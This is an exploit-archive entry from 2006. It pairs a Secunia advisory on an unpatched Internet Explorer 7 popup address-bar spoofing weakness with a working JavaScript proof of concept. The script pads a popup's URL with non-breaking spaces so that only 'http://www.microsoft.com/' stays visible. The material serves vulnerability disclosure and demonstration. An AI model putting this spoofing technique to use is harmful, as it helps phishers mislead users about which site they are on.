<!-- Secunia Advisory: SA22542 Release Date: 2006-10-25 Impact: Spoofing Solution Status: Unpatched Software: Microsoft Internet Explorer 7.x Description: A weakness has been discovered in Internet Explorer, which can be exploited by malicious people to conduct phishing attacks. The problem is that it's possible to display a popup with a somewhat spoofed address bar where a number of special characters have been appended to the URL. This makes it possible to only display a part of the address bar, which may trick users into performing certain unintended actions. Secunia has constructed a demonstration, which is available at: http://secunia.com/internet_explorer_7_popup_address_bar_spoofing_test/ The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system. Solution: Do not follow links from untrusted sources. Provided and/or discovered by: Discovered by an anonymous person. --> <script language="JavaScript"> function StartTest() { var padding = ''; for ( i=0 ; i<108 ; i++) { padding += unescape("%A0"); } newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes"); newWindow.moveTo( (screen.width-325) , 0 ); newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "http://www.microsoft.com/"+padding; document.location = "http://www.microsoft.com/windows/ie/default.mspx"; } StartTest() </script> # milw0rm.com [2006-10-26]